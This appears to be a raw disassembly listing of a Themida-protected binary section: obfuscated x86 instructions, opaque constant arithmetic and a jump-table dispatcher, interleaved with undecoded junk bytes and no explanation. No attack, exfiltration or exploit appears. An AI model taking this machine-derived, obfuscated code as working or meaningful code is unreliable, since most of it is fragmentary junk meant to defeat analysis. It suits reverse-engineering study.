		dd 0C8285E2Ch, 34FF5E04h, 0FB64E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62F9DA:				; CODE XREF: Themida_:0062C444j
		push	ecx
		push	6BBC3DB4h
		jmp	loc_6291E1
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
aH4		db '\h4=',0
		align 2
		dw 0C89h
		dd 0E5DDE924h, 4BFFFFFh, 0E9000000h, 4FE1h
; ---------------------------------------------------------------------------


loc_62FA00:				; CODE XREF: Themida_:00629ACBj
		inc	ecx
		jmp	loc_62D402
; ---------------------------------------------------------------------------
		dw 0E6B4h
		dd 3EE96AB6h, 58FFFFD4h, 0E95BDE30h, 0FFFFD06Dh, 4244481h
		dd 78E33136h, 4244C01h,	4246C81h, 78E33136h, 24148B59h
		dd 0E904C483h, 0FFFF9085h, 81E28952h, 4C2h, 4C28300h, 5C241487h
		dd 205h, 24043300h, 33240431h, 248B2404h, 0E7895724h, 0EEDE9h
		db 0
; ---------------------------------------------------------------------------


loc_62FA61:				; CODE XREF: Themida_:006337CFj
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_62F8F8
; ---------------------------------------------------------------------------
		dd 0F67DF480h, 0E0B353DCh, 8010E380h, 1BE9FAEBh, 66FFFF95h
		dd 66272868h, 0F6241489h, 0E9012454h, 0FFFFF8E6h, 2414F756h
		dd 0E6C1465Eh, 6EEE8102h, 0E9658C2Bh, 0FFFFEF77h
; ---------------------------------------------------------------------------


loc_62FAA4:				; CODE XREF: Themida_:0062CB53j
		pop	edi
		add	[esp+4], edx
		pop	edx
		pop	eax
		jmp	loc_62FF03
; ---------------------------------------------------------------------------
		dd 81EF015Bh, 9810F0EFh, 0C8D8E901h, 4268FFFFh,	8900007Ch
		dd 0E589242Ch, 30C0BA52h, 0BDE90171h, 0B9FFFFC2h, 4, 2198E9h
		dd 0CBE95800h, 81FFFF95h, 0C26CFCC3h, 0ACBA527Ch, 0C14A8C71h
		dd 0EA8104EAh, 377C3EB5h, 90C2814Ah, 0E980E5E8h, 5C4h
		dd 81241C8Bh, 4C4h, 3F170500h, 0C5290BC6h, 3F02E9h, 0A4E95B00h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62FB1F:				; CODE XREF: Themida_:006340B6j
		push	eax
		not	dword ptr [esp]
		pop	eax
		xchg	eax, [esp]
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_632745
; ---------------------------------------------------------------------------
		db 50h
		dd 405E089h, 0E9000000h, 0FFFFCBABh, 54C3BB53h,	0A4E97A8Fh
		dd 8BFFFFCCh, 0C481242Ch, 4, 81E68956h,	4C6h, 4C68300h
		dd 5C243487h, 8B24048Fh, 4892424h, 8F43E924h, 34FFFFFFh
		dd 240C8B24h, 0E8E95453h, 89000013h, 0EC832414h, 3D24E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62FB92:				; CODE XREF: Themida_:00632162j
		xor	esi, 588F50E8h
		xor	esi, 5D0972E6h
		add	ebp, esi
		mov	esi, [esp]
		jmp	loc_6320B4
; ---------------------------------------------------------------------------


loc_62FBA8:				; CODE XREF: Themida_:0062A7D0j
		and	eax, edi
		jmp	loc_630F37
; ---------------------------------------------------------------------------
aFSod		db '\f<$OD',0
		align 2
aH3		db 'h3',0
		dw 8900h
		dd 0EC83241Ch, 243C8904h, 6160BD55h, 40BF069Ch,	295B3F7Ch
		dd 0CD61E9EFh, 0F681FFFFh, 4C2E8A9Fh, 295EF089h, 0A56858C3h
		dd 89000018h, 0C588240Ch, 0E9592B88h, 0FFFFCCEAh
; ---------------------------------------------------------------------------


loc_62FBF8:				; CODE XREF: Themida_:00630F99j
		add	esi, 4
		jmp	loc_62A4FD
; ---------------------------------------------------------------------------


loc_62FC00:				; CODE XREF: Themida_:0062F985j
		add	esp, 4
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h,	0C3h, 0ADh
		dd 207F83h, 1CD9840Fh, 68550000h, 41311A0Ch, 1ED815Dh
		dd 53000000h, 0FFFFFFBBh, 0E9DD29FFh, 0FFFFA66Bh, 678CC281h
		dd 0D7019BB5h, 0D5E6E95Ah, 0F201FFFFh, 8124348Bh, 4C4h
		dd 5541E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62FC56:				; CODE XREF: Themida_:0062FF3Ej
		add	esp, 4
		pop	ecx
		push	eax
		mov	eax, 3AB47E04h
		dec	eax
		add	eax, 0C9DCC91Ah
		jmp	loc_631128
; ---------------------------------------------------------------------------
		dw 8F5Ah
		dd 248B2404h, 0C3316624h, 30AEE9h, 81C52900h, 0CF23F3EDh
		dd 0BFA9E933h, 2EE9FFFFh, 66FFFF8Eh, 661A5768h,	0E9240489h
		dd 0FFFFB432h
; ---------------------------------------------------------------------------


loc_62FC9C:				; CODE XREF: Themida_:0062FFDAj
		push	dword ptr [esp]
		jmp	loc_62DB3A
; ---------------------------------------------------------------------------
		dd 2C8B5455h, 4C48124h,	81000000h, 4C5h, 4C58300h, 5C242C87h
		dd 857C8A2Dh, 0FB6E937h, 0DD010000h, 63E9505Bh,	89FFFF95h
		dd 8DF7E9EAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62FCD6:				; CODE XREF: Themida_:006323DFj
		push	bx
		mov	bh, 0D4h
		add	al, bh
		jmp	loc_62DED2
; ---------------------------------------------------------------------------
		db 66h,	51h, 88h
		dd 24648AE1h, 244C8802h, 81596602h, 2ECh, 99C9E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62FCFA:				; CODE XREF: Themida_:0063386Dj
		add	esp, 4
		push	516Ch
		mov	[esp], esi
		jmp	loc_633D27
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0E904C583h, 13DEh, 0E904C483h, 0FFFFB226h, 0D5F6D588h
		dd 5966EA88h, 0B5E9D586h, 50FFFFE3h, 61045DB8h,	8BC23101h
		dd 0C4832404h, 0FFD30104h, 62E92434h, 4FFFF90h,	0CE5AE947h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62FD4E:				; CODE XREF: Themida_:00633081j
		pop	edx
		shr	edx, 1
		push	eax
		push	0D7F7FF42h
		pop	eax
		add	edx, 60BB0712h
		add	edx, eax
		sub	edx, 60BB0712h
		mov	eax, [esp]
		push	ebp
		jmp	loc_62AE6B
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E1C104E1h, 60C18104h, 29639687h, 240C8BCFh,	8104C483h
		dd 4FBC8C7h, 5FF80156h,	3158C301h, 8D27E9C2h, 0C483FFFFh
		dd 51862D04h, 0D8011A6Fh, 6F518605h, 241C8B1Ah,	81E28952h
		dd 4C2h, 0DCEBE900h, 4BDFFFFh, 81000000h, 7A042444h, 1695D1Fh
		dd 8104246Ch, 7A04246Ch, 0E9695D1Fh, 0FFFFCEE3h, 0CDC7B6BDh
		dd 5DE8012Bh, 8158C329h, 46003C3h, 0E9FB0123h, 0FFFFDABCh
		dd 2474FF53h, 241C8B04h, 8F04C483h, 0E95C2404h,	0FFFFAD06h
		dd 0E95BDE01h, 0FFFFBFBBh, 8B24048Fh, 29E92424h, 66FFFFDCh
		dd 666F1068h, 0E9240C89h, 0FFFF8C9Dh
; ---------------------------------------------------------------------------


loc_62FE20:				; CODE XREF: Themida_:0062BF6Aj
		add	esi, 6E5D1D6Eh
		or	esi, 77F670Ah
		push	edx
		mov	edx, 0D2D5335h
		sub	edx, 58081B93h
		or	edx, 70307DEAh
		shr	edx, 2
		sub	edx, 7D2175Bh
		xor	esi, edx
		jmp	loc_630D30
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48124h, 89000000h,	0E95B205Fh, 0FFFFB5E5h,	0FF8C58E9h
		dd 59CE31FFh, 335EF001h, 3AE92404h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62FE73:				; CODE XREF: Themida_:00632513j
		pop	ebp
		mov	ebx, [esp]
		add	esp, 4
		xchg	ecx, ebp
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		xchg	ecx, ebp
		shl	ebp, 6
		sub	ebp, 0DFB0D80h
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_630BFA
		push	esi
		push	3DCEh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		push	7717h
		mov	[esp], ecx
		jmp	loc_632E3B
; ---------------------------------------------------------------------------
		dw 34FFh
aXhS		db '$XhS',0
		dw 8900h
		dd 0E2892414h, 4C281h, 0F0E90000h, 5AFFFFB0h, 5BD828h
		dd 0BBE952F0h, 0B8FFFF95h, 715608C7h, 8244429h,	2552E9h
		dd 0E8F18000h, 7E9CB20h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62FF03:				; CODE XREF: Themida_:0062FAABj
		push	edi
		push	eax
		push	edx
		mov	edx, 409D4EDBh
		jmp	loc_6318B7
; ---------------------------------------------------------------------------
		dd 2A7568h, 240C8900h, 3A6894B9h, 0CEB85055h, 89AE64A6h
		dd 0CD0158C5h, 0FF99E2E9h, 0FECCFEFFh, 8F90E9CCh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62FF36:				; CODE XREF: Themida_:0062E40Bj
		mov	esi, ecx
		mov	[edx+38h], esi
		mov	esi, [esp]
		jmp	loc_62FC56
; ---------------------------------------------------------------------------
aZsd		db 'Z;',0
		db 0
; ---------------------------------------------------------------------------


loc_62FF49:				; CODE XREF: Themida_:006342F7j
		inc	ebp
		jmp	loc_62F203
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0E9240489h, 0FFFFA252h
; ---------------------------------------------------------------------------


loc_62FF58:				; CODE XREF: Themida_:0063112Bj
		mov	[esp], ecx
		mov	ecx, 60C40024h
		push	eax
		mov	eax, 9BAAB8C7h
		jmp	loc_62DC7B
; ---------------------------------------------------------------------------
		db 0ACh
		dd 0E1DE9h
		db 0
; ---------------------------------------------------------------------------


loc_62FF71:				; CODE XREF: Themida_:006317AFj
		mov	ebx, [esp]
		jmp	loc_62F52B
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 3C7FBD55h, 60E91410h, 33FFFFB7h, 0D7E92404h,	5100003Dh
		dd 0E953E189h, 0FFFFEA0Dh, 0FD91E942h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62FF9E:				; CODE XREF: Themida_:00628B30j
		pop	ebp
		mov	[edi+20h], ecx
		jmp	loc_62B240
; ---------------------------------------------------------------------------
		db 5Ah
		dd 8102C183h, 4ECh, 240C8900h, 42474FFh, 0E9240C8Bh, 51BBh
		dd 0E94AF480h, 38D0h, 80DBE380h, 0D3F628F3h, 0E9A0EB80h
		dd 0FFFFE09Dh
; ---------------------------------------------------------------------------


loc_62FFD8:				; CODE XREF: Themida_:0062CB1Cj
		add	esi, ebp
		jmp	loc_62FC9C
; ---------------------------------------------------------------------------
		db 5Ah
		dd 6969F381h, 0D8313CB4h, 83241C8Bh, 0DB6804C4h, 0E900000Ch
		dd 0FFFFEA05h, 4006850h, 50580000h, 0BA243481h,	5E6CAE4Eh
		dd 4EBAF681h, 48B6CAEh,	1475E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_630016:				; CODE XREF: Themida_:0062BBC7j
		mov	ebp, [esp]
		jmp	loc_62EED1
; ---------------------------------------------------------------------------


loc_63001E:				; CODE XREF: Themida_:0063451Ej
		mov	ecx, 40000h
		push	edx
		mov	edx, ecx
		push	edx
		pop	ebx
		pop	edx
		pop	ecx
		jmp	loc_633FE8
; ---------------------------------------------------------------------------


loc_63002F:				; CODE XREF: Themida_:00632A1Fj
		pop	edx
		add	esp, 4
		add	ecx, 4
		jmp	loc_62DB34
; ---------------------------------------------------------------------------
		dw 0C330h
		dd 8DC0B60Fh, 43688704h, 8900005Ch, 6AE92404h, 53FFFF8Ah
		dd 0C3815B54h, 4, 4C381h, 1C870000h, 0C9CDE924h, 8B66FFFFh
		dd 2CE92404h, 51000023h, 0FFF0C3E9h, 2DF829FFh,	5E9A3A94h
		dd 0E952535Fh, 37A4h, 7C5C68h, 24248900h, 75E95556h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_630097:				; CODE XREF: Themida_:0062C748j
		push	eax
		mov	eax, 79722E01h
		add	eax, 66322F84h
		xor	eax, 0DFA45D81h
		add	ecx, eax
		jmp	loc_629398
; ---------------------------------------------------------------------------
		dw 0D7F7h
		dd 0AAC78147h, 1424EACh, 0D5015FFAh, 2B8505Ah, 0E9000000h
		dd 43DDh, 68E9D329h, 87FFFFABh,	0E95C242Ch, 0FFFFA184h
		dd 0AF143A68h, 0F3815B20h, 5B156CBAh, 0D3B2E955h, 348BFFFFh
		dd 0C279E924h, 8957FFFFh, 4C781E7h, 83000000h, 3C8704EFh
		dd 34895C24h, 0AB685324h, 0E9751F14h, 4BFEh, 4C481h, 0E1E90000h
		dd 50FFFFD0h, 405E089h,	0E9000000h, 0FFFF96B4h,	0E94FD7F7h
		dd 0FFFFDE6Bh, 63E5BA52h, 0EA815721h, 1, 2E69E9h, 27BB5300h
		dd 0E95B7550h, 0FFFFE779h
; ---------------------------------------------------------------------------


loc_63014C:				; CODE XREF: Themida_:00631B1Bj
		sub	ch, 4Fh
		sub	al, ch
		pop	ecx
		xor	ch, al
		pop	eax
		add	al, ch
		push	dword ptr [esp]
		pop	ecx
		push	735Ah
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_62D7A6
; ---------------------------------------------------------------------------
		dd 636AB951h, 0E9C1055Fh, 37BB5305h, 4B198040h,	6C72E381h
		dd 0F38147E1h, 4D1B7684h, 3A60E9h, 24142900h, 5EF2815Ah
		dd 0E910C40Ah, 0FFFFA254h
; ---------------------------------------------------------------------------


loc_6301A0:				; CODE XREF: Themida_:0062EDECj
		add	edi, 4
		add	edi, 4
		jmp	loc_6344DE
; ---------------------------------------------------------------------------


loc_6301AE:				; CODE XREF: Themida_:00631447j
		pop	ecx
		push	5F0Fh
		jmp	loc_629AD0
; ---------------------------------------------------------------------------
		db 0B9h, 59h, 0Dh
		dd 0E98156C1h, 120C920Dh, 0C159CE21h, 5CE902E6h, 86FFFFECh
		dd 0E9D6F6F0h, 0FFFFD199h
; ---------------------------------------------------------------------------


loc_6301D8:				; CODE XREF: Themida_:00629B2Cj
		push	ecx
		mov	ecx, 0FB993A43h
		sub	eax, ecx
		pop	ecx
		push	eax
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		push	88Ah
		mov	[esp], ebp
		mov	ebp, 7CC37108h
		xor	ebx, ebp
		pop	ebp
		shr	ebx, 6
		shl	ebx, 6
		push	esi
		mov	esi, 406F4E80h
		jmp	loc_630652
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 95h
		dd 8B00000Eh, 0C4832434h, 1C875A04h, 97D4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_630222:				; CODE XREF: Themida_:00631C5Aj
		xor	ebp, 1AB569BDh
		xor	ebp, 6F1A6658h
		jmp	loc_62988E
; ---------------------------------------------------------------------------
		db 1
		dd 0ABE958C7h, 8BFFFFCDh, 0C483240Ch, 5D545504h, 4C581h
		dd 0DFE90000h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63024F:				; CODE XREF: Themida_:0062C2D6j
		add	eax, ebx
		push	edx
		jmp	loc_62A770
; ---------------------------------------------------------------------------
		db 29h
		dd 0EF815AD7h, 34703B42h, 0C781CF01h, 34703B42h, 0FFF64EE9h
		dd 0C875DFFh, 0E1F65C24h, 0CCB60F66h, 18A3E9h, 4315C00h
		dd 1DE99C24h, 5AFFFFE0h, 48C6E951h, 0D25C0000h,	0E99C2424h
		dd 0FFFF8825h, 4BB535Fh, 50000000h, 9E659FB8h, 58C1292Eh
		dd 0C181D901h, 2E9E659Fh, 5B2434FFh, 4C481h, 78E90000h
		dd 0FF000045h, 0C8B2434h, 4C48124h, 56000000h, 1D4368h
		dd 24248900h, 4BF57h, 7C010000h, 3C8B0424h, 4C48324h, 4EC835Eh
		dd 0E9242C89h, 0FFFFD811h, 89240C89h, 0CB0EE9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6302FA:				; CODE XREF: Themida_:00632EF7j
		push	esp
		pop	ecx
		jmp	loc_62A17C
; ---------------------------------------------------------------------------


loc_630301:				; CODE XREF: Themida_:00629ADBj
		push	ebx
		push	eax
		push	0D92137Eh
		pop	eax
		sub	eax, 0FFFFFFFFh
		jmp	loc_6342DC
; ---------------------------------------------------------------------------
		db 0D1h
		dd 287435E8h, 0C38976A6h, 0FFA3ECE9h, 3BBE56FFh, 81242945h
		dd 0E1A65C6h, 0AFF68166h, 29AA2572h, 8DE95EF7h,	81000039h
		dd 0DC0D08EDh, 0C581454Eh, 77F30CC0h, 3B7E9h
		db 0
; ---------------------------------------------------------------------------


loc_63034D:				; CODE XREF: Themida_:0062E4C5j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		cmp	cl, al
		pushf
		jmp	loc_628ABD
; ---------------------------------------------------------------------------


loc_630361:				; CODE XREF: Themida_:006322ECj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, dl
		mov	ah, bl
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	dl, ah
		mov	bh, dl
		pop	edx
		jmp	loc_634DBC
; ---------------------------------------------------------------------------
		dd 0FF8734E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_630389:				; CODE XREF: Themida_:00630DF4j
		push	dword ptr [esp]
		jmp	loc_63498B
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 2
		dd 1000000h, 0A134E9F1h, 0C681FFFFh, 30DB5166h,	24348759h
		dd 5624248Bh, 7237C4BEh, 0E9DEF768h, 1F98h
; ---------------------------------------------------------------------------


loc_6303B8:				; CODE XREF: Themida_:00634B29j
		sub	esi, 1
		not	esi
		inc	esi
		add	esi, 5C4F6F8Bh
		add	esi, 0EEB5645h
		and	esi, 0DA30C92h
		add	esi, 2454CCD2h
		add	eax, esi
		pop	esi
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		jmp	loc_633365
; ---------------------------------------------------------------------------
		db 5Ch
		dd 9C240430h, 0FF96BDE9h, 1BE381FFh, 0E9481B50h, 4C9Bh
		dd 42EA815Fh, 0F707A26Ch, 14EA81D2h, 57653A16h,	0D0AB4BFh
		dd 5FFA0104h, 0F7EA8142h, 153EA5Bh, 452CE9D6h, 74FF0000h
		dd 0E95B0424h, 0FFFFA405h, 0CA6AB5BBh, 5BD8894Ah, 0B8EEF35h
		dd 58C101B4h, 5166EE81h, 0CE0130DBh, 0FFFF55E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_630449:				; CODE XREF: Themida_:0062EC6Ej
		push	edx
		push	ebx
		mov	ebx, 28h
		push	esi
		push	ebx
		mov	esi, [esp]
		add	esp, 4
		push	esi
		sub	dword ptr [esp], 0B6D32E3h
		pop	edx
		jmp	loc_630476
; ---------------------------------------------------------------------------
		dw 0E983h
		dd 240C8704h, 2414895Ch, 40D9E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_630476:				; CODE XREF: Themida_:00630461j
		push	ecx
		jmp	loc_63480A
; ---------------------------------------------------------------------------
		dd 8324348Bh, 685604C4h, 2, 0E9F0015Eh,	0FFFFE80Dh, 0ECB85052h
		dd 25289053h, 650C1E74h, 0B714540Dh, 4E0C160h, 0FFD5A8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6304A9:				; CODE XREF: Themida_:0062AD80j
		add	eax, 6BDC0BF9h
		jmp	loc_62E218
; ---------------------------------------------------------------------------
a_si		db '_-',0
		dd 5AD10100h, 16850h, 21580000h, 2434FFC1h, 0FF8E7BE9h
		dd 0C3C181FFh, 5E464042h, 0AFC5E950h, 4481FFFFh, 0DD00424h
		dd 5E583273h, 4C681h, 0C6810000h, 2, 587568h, 24348900h
		dd 42474FFh, 24048F5Eh,	48B665Ch, 23E66824h, 1C890000h
		dd 0F1E95424h, 89FFFF87h, 0E0892404h, 0FFE8DDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63051D:				; CODE XREF: Themida_:0062D0EFj
		xor	ebx, 7B8D18F8h
		inc	ebx
		inc	ebx
		add	ebx, 0BC64DBE1h
		mov	edx, ebx
		jmp	loc_6328DF
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 0A0E791Ch, 0FF9F40E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63053D:				; CODE XREF: Themida_:00633A7Fj
		jmp	loc_628ABD
; ---------------------------------------------------------------------------
		dw 0F75Eh
		dd 8CF25D8h, 0B2D047Ch,	81002C00h, 2B3680C1h, 81C10115h
		dd 2B3680E9h, 2434FF15h, 4C48358h, 8B240C87h, 4002424h
		dd 0F7E99C24h, 66000005h, 51240C8Bh, 55FF68h, 0FAE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_630582:				; CODE XREF: Themida_:006299CEj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	eax, 11F82F83h
		push	esi
		mov	esi, 42371DD4h
		push	5ABDh
		mov	[esp], edi
		mov	edi, 489D6643h
		push	edi
		jmp	loc_62C6FB
; ---------------------------------------------------------------------------
		dw 1068h
		dd 8900006Dh, 0E589242Ch, 0FFE172E9h, 48B66FFh,	1E726824h
		dd 2C890000h, 52E58924h, 9773C3BAh, 9FFE90Dh, 1680000h
		dd 0E9000040h, 415Ch, 0C580E528h, 24048BE4h, 3004C483h
		dd 5BE959E8h
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_6305FF:				; CODE XREF: Themida_:00631E1Bj
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_62AAAB
; ---------------------------------------------------------------------------
		db 56h
		dd 42474FFh, 0FFAE54E9h, 0B60F66FFh, 0F671E902h, 0F801FFFFh
		dd 69471105h, 0E0685F55h, 8900000Bh, 82BA2414h,	3134EC2Bh
		dd 2434FFD0h, 0FF85D4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63063D:				; CODE XREF: Themida_:0062DC3Bj
		movzx	cx, al
		jmp	loc_635020
; ---------------------------------------------------------------------------
aAM		db ',',0
		dd 34F0E9D0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_630652:				; CODE XREF: Themida_:00630208j
		xor	ebx, esi
		pop	esi
		jmp	loc_62B591
; ---------------------------------------------------------------------------
		dw 0D001h
		dd 2DF0015Ah, 3C3E4A00h, 8324348Bh, 55E04C4h, 6D010FFAh
		dd 29E9D801h, 0E900001Ch, 0FFFF8441h, 0E9242489h, 4473h
		dd 1F59E781h, 0EF8105E7h, 0D02C0A81h, 815FFA01h, 63551EEAh
		dd 0EC2817Ah, 0E9118564h, 0FFFFA658h, 4EC81h, 24890000h
		dd 24048124h, 4, 5124048Fh, 468h, 240C8B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_62C13A
; ---------------------------------------------------------------------------
		db 31h,	14h, 24h
		dd 0FFA9E2E9h, 241C87FFh, 0FFE230E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6306E1:				; CODE XREF: Themida_:006345A2j
		shr	al, 6
		xor	al, 52h
		jmp	loc_62C2DB
; ---------------------------------------------------------------------------
		db 80h
		dd 0F380D9F3h, 150E942h, 0F6810000h, 637026FCh,	0E95EF289h
		dd 10C0h, 24048155h, 1758798Ah,	8AEB815Bh, 0E9175879h
		dd 3FE1h, 34FFD001h, 0C4815A24h, 4, 2823E9h
		db 0
; ---------------------------------------------------------------------------


loc_630729:				; CODE XREF: Themida_:0063183Aj
		pop	eax
		sub	dword ptr [esp+4], 542A4B7Ah
		add	dword ptr [esp+4], 2ED94191h
		jmp	loc_634663
; ---------------------------------------------------------------------------
		db 1
		dd 242C8BE9h, 0E9E38953h, 0FFFFEF9Ah, 24048B66h, 0E9585450h
		dd 0FFFF8DE3h, 0B1240C89h, 8BCB0072h, 0C481240Ch, 4, 0FFC0B60Fh
		dd 34FF8734h, 2434FF24h, 5624048Bh, 0C681E689h,	4, 4C681h
		dd 0F7E90000h, 0C1FFFFE6h, 0F38107EBh, 66201E53h, 69E9D821h
		dd 0B8FFFFF3h, 24h, 5551F801h, 0B3150BBDh, 0EAF5B933h
		dd 0E901CC4Ch, 0C7C1015Dh, 1, 48B5900h,	37636824h, 63E90000h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_6307C7:				; CODE XREF: Themida_:006323EFj
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_629E6F
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 441A7A8Ch, 0FFFFEB81h, 92E9FFFFh, 87FFFF87h,	895C240Ch
		dd 0BCBE2434h, 0E9096228h, 0FFFF8716h, 1E36EB81h, 0C3294F1Eh
		dd 47C8BE56h, 0FDE9726Bh, 81FFFFABh, 4ECh, 243C8900h, 4EC81h
		dd 24890000h, 0CBB0E924h, 1489FFFFh, 154FE924h,	3C890000h
		dd 68E78924h, 1980h, 2835E9h, 3BD5500h,	8916350Bh, 8361E9EAh
		dd 0B504FFFFh, 0B52CD800h, 241C8B66h, 2C481h, 5B660000h
		dd 0FFDB9BE9h, 605A68FFh, 0E2E90000h, 51FFFFD7h, 468h
		dd 0CD015900h, 20936859h, 34890000h, 4BE24h, 0F5010000h
		dd 242C875Eh, 2434FF5Ch, 8B2434FFh, 0C4812404h,	4, 5004C483h
		dd 4ABE954h, 2CD20000h,	20E99C24h, 5BFFFFDFh, 0DEF7E6D1h
		dd 6406C681h, 0C68137D1h, 7D38469Ch, 0B59EE81h,	0F0019061h
		dd 3E3F055Eh, 0C80119F8h, 0FFC7B6E9h, 63E981FFh, 81AE272Fh
		dd 926C39EBh, 7C38176h,	294C6810h, 7EB81CBh, 504C6810h
		dd 926C39B8h, 0E9C30176h, 0FFFF8FD0h, 99242C81h, 81365976h
		dd 64F02404h, 0EC8121DDh, 4, 0BD242C89h, 7E8D5138h, 4244481h
		dd 62EC2636h, 4246C29h,	2636B951h, 3E962ECh, 0ACFFFFBBh
		dd 0FF9493E9h, 8EFC1FFh, 0A7C7814Fh, 8109AA41h,	686436EFh
		dd 5FFB01EBh, 4D20CB81h, 0EBC11081h, 0BA17E908h, 0C781FFFFh
		dd 4, 4EC8150h,	89000000h, 0B0E9241Ch, 0FFFFFB6h, 8B66C0B6h
		dd 0E9502414h, 0FFFFB323h
; ---------------------------------------------------------------------------


loc_630970:				; CODE XREF: Themida_:0062F312j
		pop	edx
		jmp	loc_62C443
; ---------------------------------------------------------------------------
		dw 0CB81h
		dd 3CE454A0h, 0E3C1DBF7h, 0F4EB8106h, 81139006h, 0A49684C3h
		dd 5BD93164h, 21F18149h, 1476A0Ch, 0F36859CFh, 0E9000054h
		dd 2D34h, 114D9CBEh, 0AFC6810Bh, 0E9302631h, 0FFFF9A06h
; ---------------------------------------------------------------------------


loc_6309B4:				; CODE XREF: Themida_:00633F87j
		push	edx
		jmp	loc_62B91D
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 4C281h, 0C2810000h, 4, 0FFD830E9h, 242C89FFh, 7C69BF57h
		dd 0E7813002h, 569B5A8Dh, 0F68ABD55h, 0EF299720h, 0FF8DE5E9h
		dd 0BD6850FFh, 583F030Fh, 4704E9h, 24148700h, 3521E9h
		dd 80C32800h, 8058BEC3h, 0C38098C3h, 9E78E98Dh,	3433FFFFh
		dd 980E924h, 0E9580000h, 0FFFFF851h, 87E9E189h,	52FFFF9Dh
		dd 0C281E289h, 4, 8704C283h, 315C2414h,	0A136E9C3h, 8F59FFFFh
		dd 665C2404h, 0E924048Bh, 45C7h, 53E9C129h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_630A4F:				; CODE XREF: Themida_:00630BFEj
		mov	ecx, 660E45CDh
		add	ecx, 1
		dec	ecx
		jmp	loc_628F24
; ---------------------------------------------------------------------------
		dd 8B240C87h, 81412424h, 4F4514C1h, 80E1811Ah, 0C15CD12Bh
		dd 0E9D106E1h, 0FFCE981h, 2EE90020h, 0E9FFFFEEh, 0FFFF8035h
; ---------------------------------------------------------------------------


loc_630A88:				; CODE XREF: Themida_:0062B0FEj
		sub	ecx, 4C3B3E3Fh
		add	ecx, edi
		jmp	loc_62B638
; ---------------------------------------------------------------------------


loc_630A95:				; CODE XREF: Themida_:00631AF7j
		pop	ebp
		add	edi, ebx
		pop	ebx
		jmp	loc_629874
; ---------------------------------------------------------------------------
		dw 8968h
		dd 8900007Bh, 8FE9242Ch, 5CFFFFADh, 0C108E6C1h,	17E902E6h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_630AB7:				; CODE XREF: Themida_:0062F490j
		inc	ebp
		or	ebp, 21D40560h
		neg	ebp
		and	ebp, 5BFC285Ah
		jmp	loc_63432E
; ---------------------------------------------------------------------------
		db 81h
		dd 0FFFFFFC7h, 0FE57E9FFh, 0D801FFFFh, 0E9241C8Bh, 25D8h
; ---------------------------------------------------------------------------


loc_630AE0:				; CODE XREF: Themida_:0062DC1Dj
		xchg	eax, [esp]
		jmp	loc_62DDBC
; ---------------------------------------------------------------------------
		dd 0FF665066h, 66022474h, 5624048Bh, 0C681E689h, 4, 2C681h
